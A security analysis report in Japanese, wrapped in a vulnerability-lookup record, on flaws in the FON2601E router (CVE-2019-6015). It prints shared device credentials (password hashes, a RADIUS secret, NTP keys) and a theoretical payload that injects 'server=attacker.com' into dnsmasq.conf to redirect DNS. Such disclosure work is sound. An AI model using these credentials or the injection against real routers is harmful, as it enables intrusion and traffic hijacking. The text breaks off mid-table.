{"uuid": "1ce67e3e-fc97-4f0a-947c-871f02b72439", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-6015", "type": "seen", "source": "https://gist.github.com/kuroma6666/70d2b192280084f50f932d4f0c0dbfc9", "content": "# FON2601E \u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u89e3\u6790\u30ec\u30dd\u30fc\u30c8\n\n| \u9805\u76ee | \u5185\u5bb9 |\n|---|---|\n| \u5bfe\u8c61\u6a5f\u5668 | FON Technology FON2601E Wi-Fi \u30eb\u30fc\u30bf |\n| \u30d5\u30a1\u30fc\u30e0\u30a6\u30a7\u30a2\u30d0\u30fc\u30b8\u30e7\u30f3 | OpenWrt production 1.1.7 (build: 2016-01-15) |\n| \u89e3\u6790\u65e5 | 2026\u5e747\u6708 |\n| \u89e3\u6790\u8005 | kuroma6666 |\n| \u89e3\u6790\u74b0\u5883 | Ubuntu 24.04 (abydos), USB-UART, USB-NIC |\n\n---\n\n## 1. \u30a8\u30b0\u30bc\u30af\u30c6\u30a3\u30d6\u30b5\u30de\u30ea\u30fc\n\nFON2601E\u306f\u3001FON Technology SL\uff08\u30b9\u30da\u30a4\u30f3\uff09\u304c\u88fd\u9020\u30fb\u8ca9\u58f2\u3057\u305f\u30c7\u30e5\u30a2\u30eb\u30d0\u30f3\u30c9802.11ac\u5bfe\u5fdcWi-Fi\u30eb\u30fc\u30bf\u3067\u3042\u308b\u3002\u672c\u89e3\u6790\u3067\u306f\u3001UART\u7d4c\u7531\u306e\u30b7\u30a7\u30eb\u30a2\u30af\u30bb\u30b9\u304b\u3089\u59cb\u3081\u3001\u5168\u30d5\u30e9\u30c3\u30b7\u30e5\u30d1\u30fc\u30c6\u30a3\u30b7\u30e7\u30f3\u306e\u30c0\u30f3\u30d7\u53d6\u5f97\u3001\u30d5\u30a1\u30fc\u30e0\u30a6\u30a7\u30a2\u306e\u9759\u7684\u89e3\u6790\u3001\u8106\u5f31\u6027\u306e\u5b9f\u8a3c\u3092\u884c\u3063\u305f\u3002\n\n\u89e3\u6790\u306e\u7d50\u679c\u3001\u4ee5\u4e0b\u306e\u91cd\u5927\u306a\u554f\u984c\u3092\u78ba\u8a8d\u3057\u305f\u3002\n\n| \u6df1\u523b\u5ea6 | \u9805\u76ee | \u6982\u8981 |\n|---|---|---|\n| \u9ad8 | CVE-2019-6015 | dnsmasq\u304cWAN\u3092\u542b\u3080\u5168\u30a4\u30f3\u30bf\u30fc\u30d5\u30a7\u30fc\u30b9\u3067DNS\u30af\u30a8\u30ea\u3092\u53d7\u3051\u4ed8\u3051\u308b\uff08\u30aa\u30fc\u30d7\u30f3\u30ea\u30be\u30eb\u30d0\uff09 |\n| \u9ad8 | \u5168\u53f0\u5171\u901a\u30d1\u30b9\u30ef\u30fc\u30c9 | WebUI\u7ba1\u7406\u8005\u30d1\u30b9\u30ef\u30fc\u30c9\u304c\u5168\u30c7\u30d0\u30a4\u30b9\u3067`admin`\u306b\u56fa\u5b9a |\n| \u9ad8 | telnetd\u7121\u5236\u9650Listen | \u8a8d\u8a3c\u4ed8\u304dtelnetd\u304c0.0.0.0:23\u3067Listen\uff08WAN\u542b\u3080\uff09 |\n| \u4e2d | TR-069\u306b\u3088\u308b\u30ea\u30e2\u30fc\u30c8\u5b8c\u5168\u5236\u5fa1 | ACS\u30b5\u30fc\u30d0\u30fc\u304b\u3089\u4efb\u610f\u30b3\u30de\u30f3\u30c9\u30fb\u30d5\u30a1\u30fc\u30e0\u30a6\u30a7\u30a2\u66f8\u304d\u63db\u3048\u304c\u53ef\u80fd |\n| \u4e2d | dnsmasq.conf\u8a2d\u5b9a\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3 | ipaddr\u3078\u306e\u7279\u6b8a\u6587\u5b57\u57cb\u3081\u8fbc\u307f\u306b\u3088\u308aDNS\u8a2d\u5b9a\u306e\u6539\u3056\u3093\u304c\u7406\u8ad6\u4e0a\u53ef\u80fd |\n| \u4f4e | NTP\u30ad\u30fc\u5e73\u6587\u57cb\u3081\u8fbc\u307f | squashfs\u5185\u306bMD5\u8a8d\u8a3c\u30ad\u30fc\u304c\u30cf\u30fc\u30c9\u30b3\u30fc\u30c9 |\n\n\u306a\u304a\u3001\u672c\u30c7\u30d0\u30a4\u30b9\u306fFON\u793e\u306e\u30b5\u30fc\u30d3\u30b9\u7d42\u4e86\uff08EOL\uff09\u306b\u4f34\u3044\u73fe\u5728\u306f\u6d41\u901a\u3057\u3066\u3044\u306a\u3044\u3002\u305f\u3060\u3057\u65e2\u5b58\u8a2d\u7f6e\u6a5f\u304c\u30a4\u30f3\u30bf\u30fc\u30cd\u30c3\u30c8\u4e0a\u306b\u6b8b\u5b58\u3057\u3066\u3044\u308b\u53ef\u80fd\u6027\u304c\u3042\u308a\u3001\u672c\u30ec\u30dd\u30fc\u30c8\u306e\u5185\u5bb9\u306f\u73fe\u5f79\u30c7\u30d0\u30a4\u30b9\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u8a55\u4fa1\u306b\u304a\u3044\u3066\u3082\u53c2\u7167\u4fa1\u5024\u304c\u3042\u308b\u3002\n\n---\n\n## 2. \u30c7\u30d0\u30a4\u30b9\u4ed5\u69d8\n\n### 2-1. \u30cf\u30fc\u30c9\u30a6\u30a7\u30a2\n\n| \u9805\u76ee | \u4ed5\u69d8 |\n|---|---|\n| SoC | Ralink MT7620A (MIPS 24KEc, 580MHz, ver:2 eco:4) |\n| RAM | 128MB DDR2 |\n| Flash | MX25L12805D 16MB SPI NOR |\n| \u6709\u7ddaLAN | MT7620A\u5185\u8535\u30b9\u30a4\u30c3\u30c1 + RTL8211E (1Gbps WAN) |\n| \u7121\u7dda 2.4GHz | MT7620A\u5185\u8535 (802.11n) |\n| \u7121\u7dda 5GHz | MT7662 PCIe (802.11ac) |\n| USB | USB 2.0 \u00d7 1 (EHCI + OHCI) |\n| \u30b3\u30f3\u30bd\u30fc\u30eb | UART ttyS0 57600bps |\n\n### 2-2. GPIO\u5272\u308a\u5f53\u3066\n\n| GPIO | \u7528\u9014 | \u8ad6\u7406 |\n|---|---|---|\n| GPIO 2 | \u30ea\u30bb\u30c3\u30c8\u30dc\u30bf\u30f3 | Active-Low |\n| GPIO 9 | LED red:power | Active-Low |\n| GPIO 10 | LED green:internet | Active-Low |\n| GPIO 11 | LED green:usb | Active-Low\uff08FON\u72ec\u81ea\uff09 |\n| GPIO 12 | LED green:net | Active-Low |\n| GPIO 14 | LED green:wifi | Active-Low |\n\n### 2-3. \u30d5\u30e9\u30c3\u30b7\u30e5\u30d1\u30fc\u30c6\u30a3\u30b7\u30e7\u30f3\u30de\u30c3\u30d7\n\n| MTD | \u30aa\u30d5\u30bb\u30c3\u30c8 | \u30b5\u30a4\u30ba | \u7528\u9014 |\n|---|---|---|---|\n| mtd0 | 0x000000 | 192KB | u-boot |\n| mtd1 | 0x030000 | 64KB | u-boot-env\uff08Image1Try/Stable\u7ba1\u7406\uff09 |\n| mtd2 | 0x040000 | 64KB | factory\uff08MAC\u30fb\u7121\u7dda\u30ad\u30e3\u30ea\u30d6\u30ec\u30fc\u30b7\u30e7\u30f3\uff09 |\n| mtd3 | 0x050000 | 15.6MB | firmware\uff08kernel + squashfs\uff09 |\n| mtd4 | 0x050000 | \u81ea\u52d5 | kernel\uff08\u4eee\u60f3\u30d1\u30fc\u30c6\u30a3\u30b7\u30e7\u30f3\uff09 |\n| mtd5 | 0x14875F | \u81ea\u52d5 | rootfs squashfs\uff08\u4eee\u60f3\u30d1\u30fc\u30c6\u30a3\u30b7\u30e7\u30f3\uff09 |\n| mtd6 | 0x5A0000 | 10.3MB | rootfs_data\uff08jffs2 overlay\uff09 |\n| mtd7 | 0xFE0000 | 64KB | config\uff08\u30e6\u30fc\u30b6\u30fc\u8a2d\u5b9a\uff09 |\n| mtd8 | 0xFF0000 | 64KB | radconfig\uff08\u672a\u4f7f\u7528\u30fb\u5168FF\uff09 |\n\n**mtd2\uff08factory\uff09\u5185\u90e8\u30ec\u30a4\u30a2\u30a6\u30c8\uff1a**\n\n| \u30aa\u30d5\u30bb\u30c3\u30c8 | \u5185\u5bb9 |\n|---|---|\n| 0x0000-0x01FF | MT7620A 2.4GHz EEPROM\u30ad\u30e3\u30ea\u30d6\u30ec\u30fc\u30b7\u30e7\u30f3 |\n| 0x0006-0x000B | 2.4GHz MAC |\n| 0x0028-0x002D | LAN MAC\uff08base\uff09 |\n| 0x002E-0x0033 | WAN MAC |\n| 0x8000-0x81FF | MT7662 5GHz EEPROM\u30ad\u30e3\u30ea\u30d6\u30ec\u30fc\u30b7\u30e7\u30f3 |\n\n### 2-4. \u30bd\u30d5\u30c8\u30a6\u30a7\u30a2\n\n| \u9805\u76ee | \u5185\u5bb9 |\n|---|---|\n| OS | OpenWrt production 1.1.7 |\n| \u30ab\u30fc\u30cd\u30eb | Linux 3.3.8 (2016-01-15) |\n| \u30d6\u30fc\u30c8\u30ed\u30fc\u30c0\u30fc | FXC-U-Boot 3.6.0.0_v01_20130805 |\n| Web\u30b5\u30fc\u30d0\u30fc | uhttpd |\n| DNS\u30b5\u30fc\u30d0\u30fc | dnsmasq 2.66 |\n| \u7121\u7dda\u30c9\u30e9\u30a4\u30d0 | RT2860 / MT76x2\uff08\u30d7\u30ed\u30d7\u30e9\u30a4\u30a8\u30bf\u30ea\uff09 |\n| TR-069\u30af\u30e9\u30a4\u30a2\u30f3\u30c8 | freecwmp2 |\n| XMPP\u30af\u30e9\u30a4\u30a2\u30f3\u30c8 | xmppclient\uff08libstrophe\uff09 |\n\n---\n\n## 3. \u89e3\u6790\u624b\u6cd5\n\n### 3-1. \u60c5\u5831\u53ce\u96c6\u30d5\u30a7\u30fc\u30ba\n\nUART\uff08ttyS0, 57600bps\uff09\u7d4c\u7531\u3067\u30b3\u30f3\u30bd\u30fc\u30eb\u306b\u30a2\u30af\u30bb\u30b9\u3057\u3001root\u30b7\u30a7\u30eb\u3092\u53d6\u5f97\u3057\u305f\u3002\u30c7\u30d0\u30a4\u30b9\u306f\u30c7\u30d5\u30a9\u30eb\u30c8\u8a2d\u5b9a\u3067telnetd\u304c\u7121\u52b9\u5316\u3055\u308c\u3066\u304a\u3089\u305a\u3001\u30d1\u30b9\u30ef\u30fc\u30c9\u8a8d\u8a3c\u306e\u307f\u3067\u4fdd\u8b77\u3055\u308c\u3066\u3044\u308b\u3002\n\n\u53d6\u5f97\u3057\u305f\u521d\u671f\u60c5\u5831\uff1a\n\n```\nDISTRIB_RELEASE=\"1.1.7\"\nbr-lan: 192.168.10.1/24\ntelnetd: 0.0.0.0:23 (LISTEN)\nuhttpd: 0.0.0.0:80 (LISTEN)\n```\n\n### 3-2. \u30d5\u30e9\u30c3\u30b7\u30e5\u30c0\u30f3\u30d7\u53d6\u5f97\n\nBusyBox nc\u304c\u30af\u30e9\u30a4\u30a2\u30f3\u30c8\u30e2\u30fc\u30c9\u5c02\u7528\uff08`-l`\u672a\u5b9f\u88c5\uff09\u3067\u3042\u3063\u305f\u305f\u3081\u3001\u4ee5\u4e0b\u306e\u624b\u9806\u3067\u30c0\u30f3\u30d7\u3092\u53d6\u5f97\u3057\u305f\u3002\n\n```\n1. dd if=/dev/mtdX of=/tmp/mtdX.bin  \uff08\u30c7\u30d0\u30a4\u30b9\u5074\u3067RAM\u306b\u5c55\u958b\uff09\n2. ln -s /tmp/mtdX.bin /www/mtdX.bin  \uff08uhttpd\u3067\u516c\u958b\uff09\n3. wget http://192.168.10.1/mtdX.bin  \uff08PC\u5074\u304b\u3089GET\uff09\n4. rm /www/mtdX.bin /tmp/mtdX.bin     \uff08\u5f8c\u59cb\u672b\uff09\n```\n\n\u5168\u30d1\u30fc\u30c6\u30a3\u30b7\u30e7\u30f3\uff08mtd0\u301cmtd8\uff09\u306e\u30c0\u30f3\u30d7\u3092\u53d6\u5f97\u3057\u3001MD5\u30c1\u30a7\u30c3\u30af\u30b5\u30e0\u3067\u6574\u5408\u6027\u3092\u78ba\u8a8d\u3057\u305f\u3002\n\n### 3-3. \u30d5\u30a1\u30fc\u30e0\u30a6\u30a7\u30a2\u89e3\u6790\n\n| \u5bfe\u8c61 | \u624b\u6cd5 | \u7d50\u679c |\n|---|---|---|\n| mtd3 firmware | Python\u306b\u3088\u308b\u30d0\u30a4\u30ca\u30ea\u89e3\u6790 | uImage + squashfs(xz)\u69cb\u9020\u78ba\u8a8d |\n| squashfs | xz\u30d6\u30ed\u30c3\u30af\u5c55\u958b + strings\u62bd\u51fa | init\u30b9\u30af\u30ea\u30d7\u30c8\u30fb\u8a2d\u5b9a\u30d5\u30a1\u30a4\u30eb\u53d6\u5f97 |\n| kernel | 7-zip\u306b\u3088\u308blzma(legacy)\u5c55\u958b | \u30d3\u30eb\u30c9\u30d1\u30b9\u30fbGPIO\u5b9a\u7fa9\u78ba\u8a8d |\n| mtd1 env | CRC\u691c\u8a3c + \u6587\u5b57\u5217\u62bd\u51fa | env_size=4KB\u3067CRC\u4e00\u81f4\u78ba\u8a8d |\n| mtd2 factory | \u30d0\u30a4\u30ca\u30ea\u89e3\u6790 | MAC\u30a2\u30c9\u30ec\u30b9\u30fbEEPROM\u30aa\u30d5\u30bb\u30c3\u30c8\u78ba\u8a8d |\n| mtd7 config | strings\u62bd\u51fa | \u8a8d\u8a3c\u60c5\u5831\u30fbSSID\u8a2d\u5b9a\u53d6\u5f97 |\n\n---\n\n## 4. \u767a\u898b\u3055\u308c\u305f\u8106\u5f31\u6027\n\n### 4-1. CVE-2019-6015: DNS\u30aa\u30fc\u30d7\u30f3\u30ea\u30be\u30eb\u30d0\n\n**\u6df1\u523b\u5ea6:** \u9ad8\uff08CVSS v3: 5.8\uff09\n\n**\u6982\u8981:**\ndnsmasq\u304c`--bind-interfaces`\u30aa\u30d7\u30b7\u30e7\u30f3\u306a\u3057\u3067\u8d77\u52d5\u3057\u3066\u3044\u308b\u305f\u3081\u3001WAN\u30a4\u30f3\u30bf\u30fc\u30d5\u30a7\u30fc\u30b9\u3092\u542b\u3080\u5168\u30a4\u30f3\u30bf\u30fc\u30d5\u30a7\u30fc\u30b9\uff080.0.0.0:53\uff09\u3067DNS\u30af\u30a8\u30ea\u3092\u53d7\u3051\u4ed8\u3051\u308b\u3002\u5916\u90e8\u30db\u30b9\u30c8\u304b\u3089\u306eDNS\u518d\u5e30\u554f\u3044\u5408\u308f\u305b\u306b\u5fdc\u7b54\u3059\u308b\u30aa\u30fc\u30d7\u30f3\u30ea\u30be\u30eb\u30d0\u72b6\u614b\u3068\u306a\u308a\u3001DNS\u30ea\u30d5\u30ec\u30af\u30b7\u30e7\u30f3/\u5897\u5e45\u653b\u6483\uff08DNS amplification attack\uff09\u306b\u60aa\u7528\u3055\u308c\u308b\u53ef\u80fd\u6027\u304c\u3042\u308b\u3002\n\n**\u6839\u672c\u539f\u56e0:**\n`/etc/config/dhcp` \u306e `nonwildcard` \u30aa\u30d7\u30b7\u30e7\u30f3\u304c\u30c7\u30d5\u30a9\u30eb\u30c8\u3067\u30b3\u30e1\u30f3\u30c8\u30a2\u30a6\u30c8\u3055\u308c\u3066\u304a\u308a\u3001`--bind-interfaces` \u304c dnsmasq \u306b\u6e21\u3055\u308c\u306a\u3044\u3002\n\n```ini\n# /var/etc/dnsmasq.conf\uff08\u5b9f\u884c\u6642\u751f\u6210\uff09\n# bind-interfaces \u304c\u5b58\u5728\u3057\u306a\u3044\ndomain-needed\nbogus-priv\nno-dhcp-interface=eth0.2   \u2190 DHCP\u306e\u307fWAN\u3092\u9664\u5916\uff08DNS\u306f\u9664\u5916\u3055\u308c\u306a\u3044\uff09\n```\n\n**\u5b9f\u8a3c:**\n`/tmp/resolv.conf.auto` \u306b\u30a2\u30c3\u30d7\u30b9\u30c8\u30ea\u30fc\u30e0DNS\u3092\u8a2d\u5b9a\u5f8c\u3001PC\u5074\u304b\u3089 `dig @192.168.10.1 google.com` \u3092\u5b9f\u884c\u3057\u305f\u3068\u3053\u308d\u3001dnsmasq\u306f\u30af\u30a8\u30ea\u3092\u53d7\u4fe1\u3057\u305f\uff08log-queries\u3067\u78ba\u8a8d\uff09\u3002\u305f\u3060\u3057\u672c\u74b0\u5883\u3067\u306fWAN\u304c\u672a\u63a5\u7d9a\u306e\u305f\u3081\u5916\u90e8\u3078\u306e\u8ee2\u9001\u306f\u767a\u751f\u3057\u306a\u304b\u3063\u305f\u3002\n\n**\u4fee\u6b63\u65b9\u91dd:**\n```ini\n# /etc/config/dhcp \u306b\u4ee5\u4e0b\u3092\u8ffd\u52a0\nconfig dnsmasq\n    option nonwildcard 1   # --bind-interfaces \u3092\u6709\u52b9\u5316\n    list interface br-lan  # LAN\u30a4\u30f3\u30bf\u30fc\u30d5\u30a7\u30fc\u30b9\u306e\u307f\u3067listen\n```\n\n---\n\n### 4-2. \u5168\u53f0\u5171\u901a\u30d1\u30b9\u30ef\u30fc\u30c9\uff08WebUI\u30fbtelnet\uff09\n\n**\u6df1\u523b\u5ea6:** \u9ad8\n\n**\u6982\u8981:**\nWebUI\u7ba1\u7406\u8005\u30d1\u30b9\u30ef\u30fc\u30c9\u304a\u3088\u3073Linux\u306eroot\u30d1\u30b9\u30ef\u30fc\u30c9\u304c\u3001\u5168\u53f0\u5171\u901a\u306e\u56fa\u5b9a\u5024\u306b\u30cf\u30fc\u30c9\u30b3\u30fc\u30c9\u3055\u308c\u3066\u3044\u308b\u3002\n\n**WebUI\uff08mtd7 config\uff09:**\n```\nLogin    = admin\nPassword = $1$$CoERg7ynjYLsj2j4glJ34.   \u2190 MD5 crypt, salt\u7121\u3057\n\u2192 hashcat -m 500 \u3067\u5373\u5ea7\u306b\u89e3\u6790: \"admin\"\n```\n\n**Linux root\uff08/etc/shadow\uff09:**\n```\nroot:$1$JirocqJv$77acjhJCZMllH4XcPFvU51:16520:0:99999:7:::\n```\n\n\u3053\u306e\u30cf\u30c3\u30b7\u30e5\u306fsquashfs\u306b\u30cf\u30fc\u30c9\u30b3\u30fc\u30c9\u3055\u308c\u3066\u304a\u308a\u3001\u5168\u53f0\u3067\u540c\u4e00\u306e\u5024\u3067\u3042\u308b\u3002rockyou.txt\uff081400\u4e07\u4ef6\uff09\u3067\u306f\u89e3\u6790\u3067\u304d\u306a\u304b\u3063\u305f\u304c\u3001FON\u56fa\u6709\u306e\u8f9e\u66f8\u307e\u305f\u306f\u30d6\u30eb\u30fc\u30c8\u30d5\u30a9\u30fc\u30b9\u3067\u89e3\u6790\u3055\u308c\u308b\u53ef\u80fd\u6027\u304c\u3042\u308b\u3002\n\n**\u8a2d\u8a08\u4e0a\u306e\u554f\u984c:**\n- Salt\u7121\u3057MD5 crypt\uff08$1$$\uff09\u306fGPU\u3067\u9ad8\u901f\u89e3\u6790\u53ef\u80fd\n- \u30c7\u30d0\u30a4\u30b9\u3054\u3068\u306b\u30e6\u30cb\u30fc\u30af\u306a\u30d1\u30b9\u30ef\u30fc\u30c9\u3092\u751f\u6210\u3057\u3066\u3044\u306a\u3044\n- \u521d\u56de\u8d77\u52d5\u6642\u306e\u5f37\u5236\u30d1\u30b9\u30ef\u30fc\u30c9\u5909\u66f4\u6a5f\u80fd\u304c\u306a\u3044\n\n---\n\n### 4-3. telnetd\u306e\u5168\u30a4\u30f3\u30bf\u30fc\u30d5\u30a7\u30fc\u30b9Listen\n\n**\u6df1\u523b\u5ea6:** \u9ad8\n\n**\u6982\u8981:**\ntelnetd\u304c\u8a8d\u8a3c\u4ed8\u304d\u30670.0.0.0:23\u306bListen\u4e2d\u3067\u3042\u308a\u3001WAN\u3092\u542b\u3080\u5168\u30a4\u30f3\u30bf\u30fc\u30d5\u30a7\u30fc\u30b9\u304b\u3089\u306e\u30a2\u30af\u30bb\u30b9\u304c\u53ef\u80fd\u306a\u72b6\u614b\u306b\u3042\u308b\u3002\n\n**\u78ba\u8a8d\u30b3\u30de\u30f3\u30c9:**\n```bash\n# \u30c7\u30d0\u30a4\u30b9\u5074\nnetstat -tlnp | grep telnet\n# tcp  0  0  0.0.0.0:23  0.0.0.0:*  LISTEN  1214/telnetd\n```\n\n**\u8d77\u52d5\u6761\u4ef6\uff08/bin/login.sh\uff09:**\n```sh\n# dropbear\u3082sshd\u3082\u5b58\u5728\u3057\u306a\u3044\u5834\u5408\u306btelnetd\u304c\u8d77\u52d5\u3059\u308b\n# \u2192 \u3053\u306e\u30c7\u30d0\u30a4\u30b9\u306fSSH\u304c\u4e00\u5207\u306a\u3044\u305f\u3081\u3001telnetd\u306f\u5e38\u6642\u8d77\u52d5\nservice_start /usr/sbin/telnetd -l /bin/login.sh\n```\n\n**\u653b\u6483\u30b7\u30ca\u30ea\u30aa:**\n\u4e0a\u8ff0\u306eroot\u30d1\u30b9\u30ef\u30fc\u30c9\u304c\u89e3\u6790\u3067\u304d\u305f\u5834\u5408\u3001WAN\u304b\u3089\u76f4\u63a5telnet\u7d4c\u7531\u3067root\u30b7\u30a7\u30eb\u304c\u53d6\u5f97\u53ef\u80fd\u3068\u306a\u308b\u3002\n\n---\n\n### 4-4. TR-069\u306b\u3088\u308b\u30ea\u30e2\u30fc\u30c8\u5b8c\u5168\u5236\u5fa1\n\n**\u6df1\u523b\u5ea6:** \u4e2d\n\n**\u6982\u8981:**\nfreecwmp2\uff08TR-069 CPE\u30af\u30e9\u30a4\u30a2\u30f3\u30c8\uff09\u304c\u8d77\u52d5\u3057\u3066\u304a\u308a\u3001ACS\u30b5\u30fc\u30d0\u30fc\uff08`acs.service.fon.com`\uff09\u304b\u3089\u4ee5\u4e0b\u306e\u64cd\u4f5c\u304c\u53ef\u80fd\u306a\u8a2d\u8a08\u306b\u306a\u3063\u3066\u3044\u308b\u3002\n\n```sh\n# /etc/config/freecwmp2 \u306e trigger \u8a2d\u5b9a\noption reboot          '/sbin/reboot'\noption factoryreset    '/sbin/cwmp-factory-reset'\noption download        '/sbin/cwmp-download'      # \u30d5\u30a1\u30fc\u30e0\u30a6\u30a7\u30a2\u66f8\u304d\u63db\u3048\noption schedule_download '/sbin/cwmp-schedule-download'\noption uci             '/sbin/cwmp-apply'          # UCI\u8a2d\u5b9a\u306e\u8aad\u307f\u66f8\u304d\n```\n\n**\u8a2d\u8a08\u4e0a\u306e\u554f\u984c:**\n- ACS\u30b5\u30fc\u30d0\u30fc\u3078\u306e\u76f8\u4e92\u8a8d\u8a3c\u304c\u5b9f\u88c5\u3055\u308c\u3066\u3044\u308b\u304b\u4e0d\u660e\n- ACS\u30b5\u30fc\u30d0\u30fc\u304c\u4fb5\u5bb3\u3055\u308c\u305f\u5834\u5408\u3001\u5168\u53f0\u306b\u5bfe\u3057\u3066\u4efb\u610f\u306e\u30d5\u30a1\u30fc\u30e0\u30a6\u30a7\u30a2\u3092\u66f8\u304d\u8fbc\u3081\u308b\n- `cwmp-apply` \u7d4c\u7531\u3067\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u8a2d\u5b9a\u306e\u4efb\u610f\u5909\u66f4\u304c\u53ef\u80fd\n\n**\u95a2\u9023\u3059\u308bXMPP:**\nxmppclient\uff08`xmpp.fwteam.fon.com`\uff09\u304c\u5e38\u6642\u63a5\u7d9a\u3057\u3066\u304a\u308a\u3001TR-069\u3068\u306f\u72ec\u7acb\u3057\u305f\u5225\u306e\u30ea\u30e2\u30fc\u30c8\u5236\u5fa1\u30c1\u30e3\u30cd\u30eb\u304c\u5b58\u5728\u3059\u308b\u3002\n\n---\n\n### 4-5. dnsmasq.conf \u8a2d\u5b9a\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\uff08\u7406\u8ad6\u4e0a\uff09\n\n**\u6df1\u523b\u5ea6:** \u4e2d\uff08\u5b9f\u969b\u306e\u653b\u6483\u7d4c\u8def\u306f\u9650\u5b9a\u7684\uff09\n\n**\u6982\u8981:**\ndnsmasq\u306e\u8a2d\u5b9a\u30d5\u30a1\u30a4\u30eb\u751f\u6210\u30b9\u30af\u30ea\u30d7\u30c8\uff08`xappend`\u95a2\u6570\uff09\u304c\u3001UCI\u304b\u3089\u8aad\u3093\u3060IP\u30a2\u30c9\u30ec\u30b9\u3092\u30b5\u30cb\u30bf\u30a4\u30ba\u305b\u305a\u306bdnsmasq.conf\u306b\u66f8\u304d\u8fbc\u3080\u3002\u6539\u884c\u6587\u5b57\u3092\u542b\u3080\u5024\u3092\u6e21\u3059\u3053\u3068\u3067\u3001\u4efb\u610f\u306ednsmasq\u8a2d\u5b9a\u884c\u3092\u633f\u5165\u3067\u304d\u308b\u3002\n\n**\u8106\u5f31\u306a\u30b3\u30fc\u30c9:**\n```sh\n# /etc/init.d/dnsmasq \u5185\nxappend() {\n    echo \"${1#--}\" >> $CONFIGFILE  # \u6539\u884c\u306e\u30a8\u30b9\u30b1\u30fc\u30d7\u306a\u3057\n}\nxappend \"--address=/$fqdn/$ip\"    # $ip \u304cUCI\u304b\u3089\u6765\u308b\n```\n\n**\u653b\u6483\u30da\u30a4\u30ed\u30fc\u30c9\uff08\u7406\u8ad6\u7684\uff09:**\n```\nnetwork.lan.ipaddr = \"192.168.10.1\\nserver=attacker.com\"\n\u2192 dnsmasq.conf\u306b \"server=attacker.com\" \u304c\u633f\u5165\u3055\u308c\u308b\n\u2192 DNS\u30af\u30a8\u30ea\u304c\u653b\u6483\u8005\u30b5\u30fc\u30d0\u30fc\u306b\u8ee2\u9001\u3055\u308c\u308b\n```\n\n**\u7de9\u548c\u8981\u56e0\uff08\u5b9f\u969b\u306e\u653b\u6483\u7d4c\u8def\u304c\u6210\u7acb\u3057\u306a\u3044\u7406\u7531\uff09:**\nUCI\u306e\u30d1\u30fc\u30b5\u30fc\u304c\u6539\u884c\u6587\u5b57\u3092\u542b\u3080\u5024\u3092\u62d2\u5426\u3059\u308b\uff08`uci: Parse error`\uff09\u3002WebUI\u307e\u305f\u306fTR-069\u7d4c\u7531\u3067UCI\u306b\u6539\u884c\u3092\u542b\u3080\u5024\u3092\u66f8\u304d\u8fbc\u3080\u3053\u3068\u304c\u3067\u304d\u306a\u3044\u305f\u3081\u3001\u73fe\u5b9f\u7684\u306a\u653b\u6483\u7d4c\u8def\u3068\u3057\u3066\u306f\u6210\u7acb\u3057\u306a\u3044\u3002\n\n\u305f\u3060\u3057\u3001`xappend`\u95a2\u6570\u81ea\u4f53\u306e\u30b5\u30cb\u30bf\u30a4\u30ba\u6b20\u5982\u306fDepth of Defense\u306e\u89b3\u70b9\u3067\u554f\u984c\u3067\u3042\u308a\u3001UCI\u306e\u5236\u7d04\u304c\u5909\u66f4\u3055\u308c\u305f\u5834\u5408\u306b\u5373\u5ea7\u306b\u9855\u5728\u5316\u3059\u308b\u3002\n\n---\n\n### 4-6. buttond \u306b\u304a\u3051\u308b eval $handler\n\n**\u6df1\u523b\u5ea6:** \u4f4e\uff08\u8a8d\u8a3c\u6e08\u307f\u653b\u6483\u8005\u524d\u63d0\uff09\n\n**\u6982\u8981:**\n\u7269\u7406\u30dc\u30bf\u30f3\u306e\u30a4\u30d9\u30f3\u30c8\u30cf\u30f3\u30c9\u30e9\u3092\u7ba1\u7406\u3059\u308bbuttond\u30c7\u30fc\u30e2\u30f3\u304c\u3001UCI\u306e`system.button.*.handler`\u306e\u5024\u3092\u305d\u306e\u307e\u307eeval\u3067\u5b9f\u884c\u3059\u308b\u3002\n\n```sh\nconfig_get handler $1 handler\neval $handler   # \u30b5\u30cb\u30bf\u30a4\u30ba\u306a\u3057\n```\n\nWebUI\u30fbTR-069\u30fbXMPP\u7d4c\u7531\u3067handler\u5024\u3092\u66f8\u304d\u63db\u3048\u3001\u30dc\u30bf\u30f3\u62bc\u4e0b\uff08\u307e\u305f\u306fhotplug\u30a4\u30d9\u30f3\u30c8\uff09\u3067\u30c8\u30ea\u30ac\u30fc\u3059\u308b\u3053\u3068\u3067\u4efb\u610f\u30b3\u30de\u30f3\u30c9\u304c\u5b9f\u884c\u53ef\u80fd\u3068\u306a\u308b\u3002\u305f\u3060\u3057\u653b\u6483\u524d\u63d0\u3068\u3057\u3066\u7ba1\u7406\u8005\u6a29\u9650\uff08UCI\u3078\u306e\u66f8\u304d\u8fbc\u307f\u30a2\u30af\u30bb\u30b9\uff09\u304c\u5fc5\u8981\u3002\n\n---\n\n### 4-7. \u30cf\u30fc\u30c9\u30b3\u30fc\u30c9\u3055\u308c\u305fRADIUS/NTP\u8a8d\u8a3c\u60c5\u5831\n\n**\u6df1\u523b\u5ea6:** \u4f4e\n\n**\u6982\u8981:**\n\u4ee5\u4e0b\u306e\u8a8d\u8a3c\u60c5\u5831\u304csquashfs\u307e\u305f\u306fhotsportd\u8a2d\u5b9a\u306b\u30cf\u30fc\u30c9\u30b3\u30fc\u30c9\u3055\u308c\u3066\u3044\u308b\u3002\n\n```\nRADIUS secret: garrafon        \uff08hotspotd.conf\u5168\u53f0\u5171\u901a\uff09\nNTP MD5 key1:  h@;*w;wRLo']ll44$L[k\nNTP MD5 key2:  S_tFTL{h$2D%D.|S/0U|\n```\n\n---\n\n## 5. FON\u30af\u30e9\u30a6\u30c9\u30a4\u30f3\u30d5\u30e9\n\n\u89e3\u6790\u4e2d\u306b\u78ba\u8a8d\u3055\u308c\u305fFON\u306e\u30b5\u30fc\u30d0\u30fc\u30a4\u30f3\u30d5\u30e9\uff1a\n\n| \u30db\u30b9\u30c8\u540d | \u30d7\u30ed\u30c8\u30b3\u30eb | \u7528\u9014 |\n|---|---|---|\n| acs.service.fon.com | HTTP/TR-069 | ACS\u30b5\u30fc\u30d0\u30fc\uff08\u30ea\u30e2\u30fc\u30c8\u7ba1\u7406\uff09 |\n| 